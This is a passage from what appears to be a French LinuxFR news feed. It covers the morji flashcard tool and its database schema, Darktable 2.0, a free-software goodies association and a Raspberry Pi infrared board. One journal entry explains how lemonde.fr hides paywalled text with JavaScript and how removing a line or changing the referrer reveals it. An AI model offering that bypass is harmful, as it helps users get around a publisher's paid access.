    Question: Paris
    Réponse: France
    

    En pratique on s'aperçoit souvent que ce n'est pas parce qu'on sait répondre à une question dans un sens qu'on sait le faire dans l'autre ! Les amateurs de langues le savent bien :) C'est pour cela que mnemosyne et anki sont capables de générer deux cartes-mémoires à partir d'un seul fait pour gérer ce genre de cas de façon commode.

    Une autre façon parfois pratique de représenter une question peut être le texte à trous :

    Question: [...] est la capitale de la France.
    Réponse: Paris
    

    Mais aussi :

    Question: Paris est la capitale de [...].
    Réponse: la France
    

    Pour ce genre de cartes, en pratique on écrit quelque
    chose comme :

    Question: [Paris] est la capitale de [la France].
    Réponse: la France
    

    …Et le logiciel génère à partir de ce seul fait les deux
    cartes-mémoires.

    D'un point de vue de l'algorithme, ça pose la question intéressante d'éviter de se voir demander les deux cartes le même jour, ce qui risquerait de fausser un peu la révision et la note attribuée à la deuxième carte. En pratique on utilise des solutions plus ou moins ad-hoc où on s'arrange pour ne pas mettre les deux le même jour.

    Morji

    morji c'est donc encore un autre logiciel de répétition espacée utilisant un SM2 modifié, comme anki et mnemosyne, mais dans le terminal et avec un minimum de dépendances. « Mnemosyne » est le nom d'une déesse grecque de la mémoire, « anki » signifie mémorisation en japonais ; pour rester dans le thème et faute de meilleures idées, « morji » signifie « se souvenir » en lojban.

    Une nimage d'abord

    https://bardinflor.perso.aquilenet.fr/morji/morji-screenshot.png

    Le début de l'histoire

    J'étais jusqu'à il y a peu un utilisateur relativement satisfait de mnemosyne. L'interface est plutôt simple, son concept de tags pour organiser les faits est flexible et, dans l'ensemble, le logiciel est assez orthogonal. Il a quelques défauts, parfois un peu lent pour certaines opérations, c'était quand même un peu trop clickodrome pour moi et, devoir écrire mes cartes sans vim, c'était un peu dur ; mais dans l'ensemble, c'est sympa.

    D'habitude j'utilise OpenBSD sur un fixe, mnemosyne est dans les paquets, donc tout va bien. Mais j'ai aussi une autre machine (un ordinateur portable) sur laquelle, pas de chance, OpenBSD détectait pas bien la carte réseau, du coup j'ai installé un Void Linux (il s'agissait de pas être trop dépaysé). Et là, c'est le drame. Mnemosyne n'était pas dans les dépôts. Paf.

    Je prends mon courage à deux mains, et j'essaie de compiler le truc. Je regarde les dépendances, certaines sont pas dans les dépôts. Qu'à cela ne tienne, c'est du python, j'installe ça avec pip… Après plusieurs itérations à installer de nouveaux paquets, c'est l'échec cuisant. Je commence à redouter des incompatibilités de versions, python 2 ou 3, je teste des trucs ; ça fait bien deux heures, j'abandonne et me dis que, quand même, les packageurs, c'est un peu des super héros, et que je serais mal barré sans eux.

    Ça m'a fait un peu peur, parce que, bon, l'idée de me retrouver un jour avec ma base de données mnemosyne et toutes ses données d'apprentissage sans pouvoir l'utiliser, ça fait un peu mal. Alors, comme je connaissais un peu les algorithmes, SM2 et tout ça, je savais que c'était quand même pas très compliqué et, comme j'avais pas besoin de tant de features que ça, je me suis lancé.

    Les features

    morji gère juste les trois types de cartes-mémoires que j'ai décrites avant : dans un sens, à double sens et textes à trous. Il ne gère pas l'html, ni le javascript, mais il permet de faire du balisage sémantique simple pour mettre des couleurs, du gras ou de l'italique. Par exemple, la ligne suivante dans le fichier de configuration :

    markup keyword colored red
    

    Définit le tag keyword qui permettra de rendre du texte en rouge. On l'utilise ainsi dans le contenu d'une question :

    Que veut dire [keyword mot-clé]?
    

    qui rend mot-clé en rouge.

    morji utilise un système de tags similaires à celui de mnemosyne. On peut donc associer à chaque fait un ou plusieurs tags. Ensuite, on active ou désactive des tags pour choisir quels thèmes réviser ou apprendre. Ça permet par exemple de mixer les thèmes pendant les révisions — chose que je trouve stimulante perso —, puis au moment d'apprendre de nouvelles cartes sélectionner un seul tag.

    Il est possible d'importer d'un coup une liste de faits depuis un fichier avec des champs séparés par des tabulations, un peu comme avec mnemosyne.

    Remarque technique :. morji n'est pas un projet de recherche, du coup il stocke moins de statistiques dans la base de données. Je ne sais pas si c'est surtout ça, ou le fait que mnemosyne stocke certaines informations plus ou moins en double pour des raisons qui restent un peu mystérieuses pour moi (éviter de recalculer des choses, peut-être), mais ma base de données mnemosyne est passée de presque 50M à 10M avec morji ; pratique pour faire des backups quand on a une connexion pas trop rapide :)

    Les trucs qu'il n'y a pas

    Actuellement, morji ne gère pas de fichiers externes (images, son). A priori, il serait cependant facile si besoin de l'étendre via le fichier de configuration (qui est un script Tcl même si ça se voit pas) pour lancer un visionneur d'images externe, par exemple, à défaut d'un truc parfaitement intégré.

    Il n'y a pas non plus de navigateur de cartes-mémoire. En pratique, ça correspond à cas d'utilisation très rare — en tous cas pour moi — puisque, a priori, le principe c'est qu'on va pas chercher des faits soi-même, c'est le logiciel qui le fait pour nous ; ceci dit, parfois ça pourrait être commode, mais je n'ai pas trouvé encore une solution simple qui me plaise. En attendant d'en trouver éventuellement une, pour faire des substitutions en masse ou ce genre de choses, il est possible d'utiliser un script (morji est scriptable en Tcl) ; l'interface pour faciliter cela proprement n'est pas encore vraiment fixée ni documentée (en dehors de commentaires dans le code et d'exemples), mais ne devrait pas trop changer, donc en pratique il y a moyen de se dépatouiller si besoin.

    Sous le tapis

    Là, c'est parti pour une petite section un peu technique, pour ceux qui ont eu la patience de me lire jusqu'ici :)

    Comme j'ai un peu raconté tout ce qu'il faut savoir sur SM2, les faits et les types de cartes-mémoires, etc. je me dis que tu veux peut-être savoir à quoi ressemble le schéma de la base de données utilisée par morji, qui est en fait une traduction idée pour idée des concepts.

    Il y a quatre tables : une pour les faits, une pour l'information spécifique à chaque carte-mémoire, une pour les tags, une qui fait la relation entre quels faits ont quels tags, et puis c'est tout. Je vais juste raconter un peu les deux premières, pour qu'on revoie les concepts de l'algo SM2.

    Celle des faits, facts, stocke donc, entre autres, une question et une réponse :

    CREATE TABLE IF NOT EXISTS facts(
        uid INTEGER PRIMARY KEY,
        question TEXT NOT NULL,
        answer TEXT NOT NULL,
        notes TEXT NOT NULL,
        -- oneside/twoside(recognition/production)/cloze...
        type TEXT NOT NULL
    );

    En fait, on retrouve bien le champ pour la question et la réponse. Il y a de plus un champ pour des notes additionnelles dont je n'ai pas parlé avant (mais c'est dans la nimage plus haut), et qui sert à afficher des trucs en plus dans la réponse pour les faits à deux sens, indépendamment du sens (par exemple un lien vers la source de l'information). Le champ type nous dit s'il s'agit d'un fait à un sens, à deux sens ou d'un texte à trous.

    La table contenant l'information d'apprentissage de chaque carte mémoire est un peu plus compliquée :

    CREATE TABLE IF NOT EXISTS cards(
        uid INTEGER PRIMARY KEY,
        -- last repetition time (null for new cards)
        last_rep INTEGER,
        -- next repetition time (null for new cards)
        next_rep INTEGER CHECK(next_rep ISNULL OR last_rep < next_rep),
        easiness REAL NOT NULL DEFAULT 2.5 CHECK(easiness > 1.29),
        -- number of repetitions (0 for new and forgotten cards)
        reps INTEGER NOT NULL,
        fact_uid INTEGER NOT NULL REFERENCES facts ON DELETE CASCADE,
        -- additional data whose meaning depends on facts.type
        fact_data TEXT NOT NULL
    );

    Les champs last_rep et next_rep contiennent les dates de la dernière répétition et la répétition suivante, respectivement (leur différence est donc l'intervalle théorique entre les deux répétitions). Le champ easiness contient la facteur de facilité de toute à l'heure, et reps, c'est le nombre de répétitions, donc le n des formules. Enfin, fact_uid signale le fait auquel fait référence la carte, et fact_data donne des informations supplémentaires : par exemple, est-ce le verso ou le recto qu'il faut montrer ? Un truc à remarquer aussi, c'est la valeur par défaut de 2.5 pour la facilité et la contrainte sur le minimum, qui font écho à l'algorithme.

    Petite anecdote pour la fin

    Je crois que j'ai déjà prononcé le mot Tcl un peu avant. Eh oui, morji est écrit en Tcl. En fait, quand j'ai commencé à écrire morji, j'ai vite compris que ça allait être essentiellement des requêtes SQLite et pas grand-chose de plus. Or, pendant que je me mettais à jour sur SQLite, mon attention a été attiré, un peu par hasard, par le fait que SQLite avait été initialement prévu comme une extension Tcl, avant de devenir ce qu'on connaît aujourd'hui ; du coup ça m'a intrigué, j'ai découvert que l'interface Tcl pour SQLite était vraiment sympa et leur système de tests unitaires aussi. Ajouté au fait que Tcl est un langage léger présent sur à peu près toutes les plateformes, eh bien, j'ai pas pu résister :)

    Anecdote : au début j'envisageais d'écrire morji en Go, du coup je voulais l'appeler « gogoratu » — « se souvenir » en basque —, parce que c'était rigolo, mais du coup, après, la blague tombait un peu à l'eau :)

    Voilà, c'est tout !

    Liens : site de morji, avec documentation en html ; page github du projet.

    Lire les commentaires

  • Aider les associations du Libre en achetant leurs goodies (Dépêches LinuxFR)

    Au fil du temps, les associations du monde du Libre ont créé un certain nombre de produits numériques (CD, DVD, clés USB, etc.) téléchargeables gratuitement et librement. Ces produits sont souvent proposés lors de manifestations. La vente de ces objets permet de participer au financement des associations et de poursuivre leur mission associative.

    L’association En Vente Libre a été créée en 2009 afin de mettre à disposition des associations du logiciel libre un moyen de vendre leurs différents produits de manière mutualisée et de récupérer des dons. Permettre la diffusion de la culture libre à travers le monde est un peu prétentieux, mais c’est notre objectif !

    En Vente Libre a pour but de faciliter l’accès à ces produits qui assurent la promotion des logiciels libres. Les associations qui en bénéficient depuis plusieurs années maintenant sont : Debian, Ubuntu-Fr, l’April, La Mouette (qui fait de belles promotions en ce moment !), Framasoft, Multisystème, EduNathon. La force de la plate‐forme est de proposer de faire des dons ou d’acheter des articles de plusieurs associations en même temps. Mutualisation des coûts bancaires et des frais divers !

    En juin 2017, l’équipe a quasiment entièrement changé pour repartir d’un nouvel élan. De nouvelles associations devraient bientôt pouvoir profiter de la plate‐forme (Mageia, Borsalinux, OCS Inventory, etc.).

    Donc :

    • si vous faites partie d’une association et que vous voulez vendre vos produits ou obtenir des dons sur la plate‐forme EVL, n’hésitez pas à demander notre convention par courriel à bureau@enventelibre.org ;
    • si vous voulez participer au projet et devenir bénévoles, contactez‐nous par courriel à association@enventelibre.org ;
    • si vous avez des compétences sur PrestaShop, faites‐vous connaître, nous avons toujours besoin d’aide et de formation pour améliorer notre service !

    Lire les commentaires

  • Darktable 2.0 : traitement et gestion de photographies (Dépêches LinuxFR)

    À peine plus d'un an après la version 1.6, la version 2.0 de darktable est sortie pour le réveillon, le 24 décembre 2015.

    Darktable est un logiciel de gestion et d'édition de photographies, spécialisé dans le traitement d'images brutes (RAW). Il permet d'un côté de gérer une collection de photographies (classement, notes avec un système d'étoiles de 0 à 5, étiquetage, recherche, le tout indexé dans une base de données), et de l'autre de faire de l'édition d'image non-destructrice.

    L'édition non-destructrice consiste à définir un ensemble d'opérations à appliquer sur l'image, sans modifier l'image d'origine. C'est l'approche suivie par la majorité (totalité ?) des logiciels pour le traitement d'images brutes : les fichiers RAW sont faits pour être produits par un appareil photo, mais pas pour être modifiés par d'autres logiciels. Un gros intérêt est que toute opération appliquée à l'image peut ensuite être modifiée ou annulée, quel que soit l'ordre dans lequel les opérations ont été appliquées par l'utilisateur. L'utilisateur travaille directement avec une pile de transformations à appliquer à l'image. On peut aussi « copier coller » un ensemble d'opérations d'une image à l'autre.

    darktable

    Comme pour les versions précédentes, la migration en avant se fait de manière transparente mais irréversible : lancer darktable 2.0 met à jour sa base de données interne vers un format que les versions précédentes ne savent pas lire (il est conseillé de sauvegarder son répertoire ~/.config/darktable/ avant la mise à jour)

    Sommaire

    Présentation de darktable

    L'interface

    Le point d'entrée de darktable est la table lumineuse, qui affiche une partie de la collection d'images (les images d'un répertoire, le résultat d'une recherche…) :

    Table lumineuse de darktable

    En double-cliquant sur une image, on entre dans l'interface d'édition, la chambre noire :

    La chambre noire de darktable

    La liste des transformations applicables sur une image est affichée sur la droite, rangées par catégories : modules de base, tonalités, couleurs, améliorations, artistiques.

    Sous le capot

    Un principe fort de l'équipe de développement de darktable est de ne pas faire de compromis sur la qualité, tout en gardant un souci de performance. Les traitements sont faits sur des nombres flottants, 32 bits par pixels et par couleur, contre 8 bits pour les formats d'image classiques. On le paye assez cher en mémoire utilisée (4 Go de RAM est un peu juste, 8 Go ou plus recommandés), mais la bonne nouvelle est que darktable sait bien exploiter la puissance de calcul des machines modernes : OpenCL pour exploiter les GPU, OpenMP pour paralléliser les traitements faits sur le CPU, utilisation des instructions SSE des processeurs…

    Nouveautés de la version 2.0

    Passage de Gtk 2 à Gtk 3

    Les habitués de darktable 1.6 l'auront peut-être remarqué sur les copies d'écran ci-dessus : l'interface graphique a été reprise, avec un portage à Gtk 3. darktable reste cependant dans son état d'esprit « tout est dans les images (pas dans l'interface graphique) » (its about the image (not about the ui)!), avec une interface très sobre, par défaut sombre, et du coup assez éloignée du thème par défaut de Gtk.

    Le passage à Gtk3 apporte une meilleure gestion des écrans avec haute densité de pixels, et quelques changements mineurs mais bien pratiques. Par exemple, quand darktable est en plein écran, on peut maintenant placer la souris sur le bord droit de l'écran et utiliser la molette pour faire défiler la liste des outils : plus besoin de viser la barre de défilement !

    Nouveau module « impression », export PDF

    Un nouveau module « impression » voit le jour, permettant de placer l'image dans une page, de régler quelques paramètres, et d'imprimer. Le tout, bien sûr, avec gestion des couleurs si vous avez calibré votre imprimante.

    Module d'impression

    Une autre option désormais possible pour imprimer est d'exporter un fichier PDF et de l'envoyer à l'imprimante ou à l'imprimeur.

    Nouveau module « reconstruction des couleurs » pour les zones surexposées

    Quand une partie d'une image est surexposée, un ou plusieurs des canaux rouge, vert ou bleu peut dépasser la valeur maximale possible. Quand tous les canaux dépassent, la zone ne contient plus aucune information. Pire : la balance des blancs ayant multiplié chaque canal par une valeur différente, la zone surexposée pourrait avoir une couleur uniforme et différente de celle de l'objet photographié. Quand un (ou deux) dépasse(nt), il reste un peu d'information sur les contrastes, mais l'information sur la couleur est au moins partiellement perdue.

    Darktable offrait déjà un module pour « reconstruire les hautes lumières » qui permettait d'éviter les fausses couleurs et de reconstruire une partie de l'information en se basant sur les portions d'images voisines, mais ce module ne suffit pas toujours à obtenir de bonnes couleurs. Darktable 2.0 apporte un nouveau module de « reconstruction des couleurs » qui est appliqué après le précédent et permet de reconstruire la couleur d'une portion sur-exposée.

    Les détails sont donnés dans ce billet de blog. Voyez l'exemple suivant (couleurs reconstruites à droite, regardez en particulier le bras et l'épaule) :

    Couleurs reconstruites

    Améliorations du module « exposition »

    Le module « exposition » a été retravaillé. Ce que faisait le module en version 1.6 correspond au mode « manuel » du nouveau module : ainsi la case à cocher « auto » sur la gauche est devenue une pipette à droite, et fait exactement la même chose :

    Module exposition dans la version 1.6

    Module exposition dans la version 2.0

    La vraie nouveauté est le mode automatique, inspiré de l'algorithme « deflicker » de Magic Lantern :

    Mode automatique du module exposition

    Le principe de ce mode automatique est de spécifier la valeur de l'exposition (le champ « valeur cible ») pour un point particulier de l'histogramme (le champ « centile »). Elle est exprimée en valeur d'exposition en partant du point blanc (i.e. le point le plus à droite de l'histogramme). Dans la configuration par défaut, visible sur la copie d'écran, on demande donc à darktable d'exposer le pixel médian à 4 valeurs d'expositions en dessous du seuil de surexposition. Si on avait choisi centile = 100 % et valeur cible = 0 EV, on aurait obtenu une exposition telle que le pixel le plus clair de l'image corresponde au blanc le plus clair (ce n'est pas forcément une bonne idée car un tel réglage serait très sensible à un petit nombre de pixels surexposés). La valeur « CE calculée » est la compensation d'exposition que l'on aurait entrée à la main en mode manuel. Ce mode est intéressant pour des effets d'accéléré image par image (time-lapse), pour obtenir une exposition homogène sur un grand nombre d'images du même sujet. En effet, si on copie-colle ce module d'une image vers toutes les images similaires, darktable va recalculer la compensation d'exposition pour chaque image.

    Amélioration du module « Ombres et hautes lumières »

    Le module « ombres et hautes lumières » se voit doté d'un nouveau réglage « ajustement du point blanc », qui permet de régler l'exposition de l'ensemble de l'image (alors que les réglages « ombres » et « hautes lumières » n'affectent, comme leurs noms l'indiquent, que leurs parties respectives ombres et hautes lumières). Ce réglage est similaire au réglage de l'exposition, mais il intervient plus tard dans les transformations (le module « exposition » agit sur les données RGB sorties du capteur, alors que « Ombres et hautes lumières » intervient après l'application du profil de couleur d'entrée).

    Nouveau module « point noir/blanc raw »

    Un nouveau module permet de régler le point blanc, et le point noir canal par canal. En pratique, les valeurs par défaut devraient toujours être bonnes, mais ce module donne un peu plus de contrôle à l'utilisateur sur la toute première étape de transformation des données brutes.

    Amélioration du module « balance des blancs »

    Une nouvelle entrée est disponible dans le menu de balance des blancs « neutre boîtier » (« camera neutral white balance » en anglais), qui correspond à une balance neutre (6503 K) quel que soit le boîtier.

    L'affichage de la température des couleurs a été corrigé (il y a plusieurs manières d'afficher une température en Kelvin pour une couleur donnée, darktable est maintenant plus cohérent avec les autres logiciels et plus homogène d'un boîtier à l'autre). Ce changement ne change pas l'algorithme qui utilise seulement les coefficients multiplicateurs rouges / verts / bleus.

    Le réglage d'ajustement pour les balances des blancs prédéfinies est maintenant disponible pour plus de boîtiers.

    Améliorations du module « dématriçage »

    Un nouvel algorithme de dématriçage (demosaic), VNG4, est disponible en plus de AMaZE et PPG. AMaZE est relativement lent, mais évite les artéfacts colorés et effets de moirés sur certains motifs. PPG est l'algorithme par défaut de darktable, beaucoup plus rapide et équivalent dans beaucoup de cas. VNG4 vient en complément : il est également assez lent, mais peut produire moins d'artéfacts que AMaZE, au prix d'une netteté légèrement atténuée. À utiliser quand PPG et AMaZE ne produisent pas des résultats satisfaisants, donc.

    Un autre algorithme, « monochrome », permet d'utiliser des appareils photos dont le filtre RGB a été supprimé pour faire des photos en noir et blanc pur. Chaque pixel du capteur donne directement une luminosité, et aucun ne donne d'information de couleur. Cet algorithme est encore considéré comme expérimental, et n'est d'aucune utilité pour les appareils photos « normaux », et donc couleur (il y a par contre plusieurs outils adaptés pour faire des images noir et blanc avec darktable).

    Amélioration du module « recadrer et pivoter »

    Le menu de choix de format est maintenant beaucoup plus clair, et trié par ordre de rapport longueur/largeur :

    Menu « aspect » du module « recadrer et pivoter »

    On peut maintenant ajouter des formats en indiquant des clés de la forme plugins/darkroom/clipping/extra_aspect_ratios/foo=x:y au fichier $HOME/.config/darktable/darktablerc. On pouvait déjà et on peut toujours choisir un format particulier en l'entrant au clavier au lieu de sélectionner à la souris pendant que le menu est déplié.

    Vérification d'exposition et de gamut, épreuvage écran

    Deux boutons, « activer/désactiver l'épreuvage écran » (softproofing) et « activer/désactiver vérification de gamut » (gamme de couleurs) font leur apparition en bas à droite de l'image dans la chambre noire. Le premier permet d'obtenir à l'écran une simulation du rendu de l'image dans un autre espace colorimétrique, typiquement sur une imprimante qui ne peut pas rendre toutes les couleurs disponibles sur un écran. Le second permet d'avoir un avertissement sur les pixels qui ne peuvent être rendus correctement dans le profil de couleurs cible (typiquement, ceux qui seront différents une fois imprimés). Ces opérations étaient déjà disponibles avec des raccourcis clavier (Control-s pour l'épreuvage, Control-g pour la vérification de gamut), mais sont maintenant plus clairement visibles :

    Vérification de gamut

    Un clic droit sur ces boutons permet d'accéder aux options correspondantes (plus d'options sont disponibles si LittleCMS est activé dans la configuration). Ces options étaient disponibles dans le module « profil de couleur de sortie » dans les versions précédentes. Ce module est maintenant réduit à sa plus simple expression : un menu pour choisir le profil, et c'est tout !

    Nouvelle option « déplace les fichiers vers la poubelle lors de l'effacement »

    Une nouvelle option, activée par défaut, permet de déplacer les fichiers vers la corbeille au lieu de les effacer définitivement quand on demande leur suppression.

    Bouton « poubelle »

    Extensibilité via des scripts lua

    L'extensibilité de darktable via des scripts Lua progresse encore. Un script peut maintenant ajouter des éléments d'interface graphique (boutons, barre de défilement, …) à la table lumineuse.

    Si vous ne parlez pas Lua, vous serez tout de même intéressé(e) par les scripts disponibles (comparables à des extensions pour Firefox par exemple). Ce dépôt github a été créé pour les centraliser.

    À titre d'exemple, selection_to_pdf.lua permet de générer un fichier PDF contenant les vignettes de toutes les images sélectionnées, hugin.lua permet d'envoyer des images à Hugin, slideshowMusic.lua permet de jouer de la musique pendant un diaporama, video_mencoder.lua permet d'exporter une vidéo depuis darktable, …

    Nouveau cache de vignettes

    Un nouveau cache de vignettes remplace le cache mipmap. Le premier bénéfice est une rapidité fortement améliorée, et moins de crashes. Parmi les autres avantages, on peut citer une gestion correcte des écrans à haute densité de pixels.

    Même si la table lumineuse affiche souvent des vignettes de petite taille, on peut en réalité l'utiliser en n'affichant qu'une image, donc avec un niveau de zoom de type « remplir l'écran ». Pour des questions de rapidité, darktable applique une version des modules avec une qualité réduite pour les petites vignettes. Avec cette version 2.0, une version haute qualité est appliquée quand la vignette dépasse une certaine taille (720p par défaut). L'affichage utilise maintenant une gestion des couleurs, utile si votre écran est calibré (l'ancien système trichait en sauvegardant l'image directement avec le profil de couleur de l'écran appliqué, ce qui ne fonctionnait pas correctement si on changeait le profil de l'écran sans effacer le cache sur disque).

    Une nouvelle commande darktable-generate-cache (à lancer depuis un shell, pas depuis l'interface graphique de darktable) permet de générer les vignettes pour toutes les images de la collection. L'opération prend un certain temps (de l'ordre d'une seconde par image), lancez-là avant la pause (et typiquement une fois après avoir fait la mise à jour vers la version 2.0) !

    Raccourcis claviers et souris

    De nouveaux raccourcis sont disponibles :

    • En mode « table lumineuse », on peut utiliser les flèches (haut, bas, gauche, droite) pour passer d'une image à l'autre (c'est bête, mais gauche/droite ne fonctionnaient pas avant). La touche « entrée » sélectionne l'image courante (et seulement celle-là), et la touche « espace » ajoute l'image courante à la sélection, ou l'en enlève si elle était sélectionnée.
    • Pendant le dessin d'un masque : [ et ] pour changer la taille du masque (également disponible avec la molette de la souris), { et } pour changer la dureté de la brosse (également disponible avec majuscule-molette) et < et > pour changer l'opacité du masque (également disponible avec Control-molette).
    • Dans les modules « tonalité » et « courbe de base », un Control-clic permet maintenant d'ajouter un point sur une courbe à une abscisse donnée sans changer la forme de la courbe.

    Affichage automatiquement adapté à la taille de l'écran

    Avant cette version, l'utilisateur devait spécifier manuellement la taille maximale de l'affichage, sans quoi l'image en mode « chambre noire » n'occupait pas tout l'écran. Cette configuration n'est plus nécessaire, et est remplacée par une configuration de la bordure affichée autour de l'image.

    En darktable 1.6 :

    Configuration de l'affichage avec darktable 1.6

    Depuis la version 2.0 :

    Configuration de l'affichage avec darktable 2.0

    Améliorations diverses

    • L'historique n'est plus tronqué si on sort de la chambre noire avec une étape d'historique sélectionnée, ce qui limite le risque de perdre tout son travail suite à une fausse manipulation ;
    • le module d'export peut maintenant augmenter la résolution de l'image (c'est utile, par exemple, quand un imprimeur impose une résolution particulière, ou quand on souhaite faire soi-même l'augmentation de résolution pour maîtriser toute la chaîne) ;
    • les profils de bruits du module « réduction du bruit (profil) » sont maintenant stockés dans des fichiers JSON, et non compilés en dur dans darktable. Vous pouvez donc maintenant profiler votre boîtier et utiliser le résultat sans recompiler darktable ;
    • la procédure pour s'authentifier sur Facebook a légèrement changé ;
    • le module « filigrane » (watermark) permettait d'ajouter un dessin au format SVG en filigrane. Il permet maintenant de spécifier un texte, une police et une couleur sans passer par un intermédiaire SVG ;
    • les données GPS d'altitudes sont maintenant gérées ;
    • l'export en haute qualité avec une résolution plus petite que celle du fichier RAW fait maintenant la réduction de résolution avant d'appliquer le filigrane, ce qui donne des résultats plus cohérents.

    Nouveaux boîtiers supportés

    Support de base pour : Canon PowerShot G5 X, Olympus SP320, Panasonic
    DMC-FZ150 (3:2), Panasonic DMC-FZ70 (1:1, 3:2, 16:9), Panasonic
    DMC-FZ72 (1:1, 3:2, 16:9), Panasonic DMC-GF7 (1:1, 3:2, 16:9),
    Panasonic DMC-GX8 (4:3), Panasonic DMC-LF1 (3:2, 16:9, 1:1), Sony
    DSC-RX10M2.

    Balances des blancs prédéfinies pour : Canon EOS M3, Canon EOS-1D Mark
    III, Canon EOS-1Ds Mark III, Canon PowerShot G1 X, Canon PowerShot G1
    X Mark II, Canon PowerShot G15, Canon PowerShot G16, Canon PowerShot
    G3 X, Canon PowerShot G5 X, Canon PowerShot S110, Panasonic DMC-GX8,
    Panasonic DMC-LF1, Pentax *ist DL2, Sony DSC-RX1, Sony DSC-RX10M2,
    Sony DSC-RX1R, Sony DSLR-A500, Sony DSLR-A580, Sony ILCE-3000, Sony
    ILCE-5000, Sony ILCE-5100, Sony ILCE-6000, Sony ILCE-7S, Sony
    ILCE-7SM2, Sony NEX-3N, Sony NEX-5T, Sony NEX-F3, Sony SLT-A33, Sony
    SLT-A35.

    Profil de bruit pour : Canon EOS M3, Fujifilm X-E1, Fujifilm X30,
    Nikon Coolpix P7700, Olympus E-M10 Mark II, Olympus E-M5 Mark II,
    Olympus E-PL3, Panasonic DMC-GX8, Panasonic DMC-LF1, Pentax K-50, Sony
    DSC-RX1, Sony DSC-RX10M2, Sony ILCA-77M2, Sony ILCE-7M2, Sony
    ILCE-7RM2, Sony SLT-A58.

    Changements internes

    Gestion des architectures 32 bits (presque) abandonnée

    Une nouvelle boite de dialogue a été ajoutée au démarrage en 32 bits afin de prévenir l'utilisateur quant aux risques de bugs dans cette version. En effet, darktable étant très gourmand en mémoire (4 Go vivement recommandés au minimum), l'utiliser sur un système 32 bits a toujours été laborieux (cf. les explications de Linus Torvalds sur les raisons pour lesquelles passer à 64 bits est nécessaire à partir d'environ 1 Go de RAM). Les développeurs ont dans le passé fait beaucoup d'efforts pour limiter la fragmentation mémoire, qui pose beaucoup de problèmes en 32 bits, mais se concentrent maintenant sur le 64 bits. Utiliser les versions récentes en 32 bits est donc encore moins recommandé que dans le passé. La seule chose que les développeurs garantissent maintenant sur la version 32 bits, c'est qu'on va avoir des problèmes si on l'utilise !

    De la même manière, compiler avec GCC antérieur à 4.8 est déconseillé (soft deprecated).

    Dépendances

    Les dépendances sur les bibliothèques libraw et libsquish ont été supprimées (ce qui résout des problèmes de brevets, par effet de bord).

    Les bibliothèques pugixml, osm-gps-map et colord-gtk du système sont maintenant utilisées, et ne sont plus distribuées avec darktable.

    Et le système de greffon ? Et le fameux « app store »

    Au printemps dernier, un article du blog de darktable annonçait un nouveau système de greffon, associé à un « app store ». La phrase importante du billet était bien sûr « PS: Thou shalt not believe what got posted on the Internet on April 1st. » ;-).

    Lire les commentaires

  • lemonde.fr ou l'abonnement au javascript (Journaux LinuxFR)

    Bonjour,

    Il y a quelques mois, j'étais tombé sur un article de arrêt sur images. On y expliquait qu'on pouvait voir tous les articles du monde.fr si on allait d'une façon mais qu'en passant par exemple par le site du monde il y avait un barrage pour qu'on paie l'article.

    L'expérience

    • Ce matin, je suis allé sur google news :
      Free a fait chuter le prix de la téléphonie mobile de 11 %

      • Je clique sur le lien
      • Je peux lire le début de l'article jusqu'à : "Avant même son arrivée sur le marché prévue pour janvier 2012, les opérateurs classiques avaient commencé à réagir, lançant des offres low cost sans subvention de terminal sous des marques dédiées : Sosh pour…"
    • Maintenant en allant sur google normal, je tape : "Free a fait chuter le prix de la téléphonie mobile de 11"

      • Je clique sur le premier lien
      • Je peux maintenant lire l'article en entier

    L'enquête

    Des débuts prometteurs

    • Je prends le code source des deux articles (l'article en totalité et celui tronqué) et je fais un diff et je me rend compte que le HTML est le même !
      • Je me dis que ça doit être un coup de javascript
    • Je teste avec un navigateur plus exotique (uzbl) et je fais le même constat que ci-dessus.
    • Je désactive javascript sur firefox et là je n'arrive plus à lire du tout l'article

    La résolution

    • Je fais une recherche sur "Sosh pour…"
    • Je tombe sur le js suivant :
    <script type="text/html" id="articleBodyRestreint">
    [...]
    </script>
    
    
    • Je supprime ce passage et bing ça marche !
    • Je remet le javascript pour continuer l'expérience.

    • Je fais une recherche sur articleBodyRestreint.

      • Je tombe sur :
    document.getElementById('articleBody').innerHTML = document.getElementById('articleBodyRestreint').innerHTML;
    
    
    • Je supprime et bing ça marche !
    • Il suffit de trouver un moyer de supprimer cette ligne à chaque fois. J'imagine qu'un plugin firefox peut faire le nécessaire pour supprimer cette ligne à la volée. Je ne sais pas si c'est légale par contre.

    L'épilogue

    • Je regarde le code :
    if ( navigator.userAgent.toLowerCase().indexOf('google') === -1 &&
    navigator.userAgent.toLowerCase().indexOf('msnbot') === -1 &&
    navigator.userAgent.toLowerCase().indexOf('yahoo!') === -1 &&
    document.referrer.toLowerCase().indexOf('google') === -1 &&
    document.referrer.toLowerCase().indexOf('bing.com') === -1 &&
    document.referrer.toLowerCase().indexOf('search.yahoo') === -1 )
    {
    document.getElementById('articleBody').innerHTML = document.getElementById('articleBodyRestreint').innerHTML;
    document.getElementById('teaser_article').style.display = 'block';
    }
    
    

    Donc c'est bien ce qu'expliquait arrêt sur images : cela dépend d'où on vient. Si on utilise un moteur de recherche très utilisé, je tombe sur l'article complet. Mais si on utilise google news ou duck duck go, cela ne fonctionne pas par exemple…
    Dans le code javascript on peut aussi voir un système de compteur (il doit y avoir un système de paiement à l'article).

    C'est fou de voir que c'est le javascript qui s'occupe de l'accessibilité du contenu du monde.fr.

    Lire les commentaires

  • Transformez votre Raspberry Pi en télécommande infrarouge (Dépêches LinuxFR)

    ANAVI Infrared pHAT est une carte fille pour Raspberry Pi avec tout ce qu’il faut pour faire une télécommande infrarouge en émission et réception, et donc virtuellement tout contrôler via LIRC, mais aussi faire mumuse avec des capteurs I²C (température, pression, etc.) en option. Le prix de vente est en dessous des 10 € symboliques, via la plate‐forme de cofinancement IndieGoGo.
    En d’autres termes, voici le kit idéal pour contrôler ses appareils domestiques (TV, Hi‐Fi, clim, etc.) et les rendre un peu plus « smarts », tout en restant libre.

    IR pHAT

    Côté logiciel, rien de magique, tout est documenté (en anglais, mais je peux vous aider car j’ai un proto sous la main).

    Peut‐être vous souvenez‐vous de l’annonce de la carte fille Rabbit Max Flex annoncée fin 2016 sur LinuxFr.org ? Eh bien, il s’agit du même auteur, Leon Anavi, qui a été contraint d’abandonner le nom rabbit (car certains en revendiquent la propriété) et a rebaptisé le projet par son nom propre pour éviter tout problème légal. Les deux cartes ont été réalisées à l’aide de KiCad et les sources sont disponibles, car l’auteur est motivé par la communauté OSHW et FLOSS, plus de détails dans cette présentation au FOSDEM (en anglais).

    Notez que la campagne est déjà financée à plus de 1 000 %, il n’y a donc pas de souci pour la réalisation. La livraison est estimée courant été 2017.

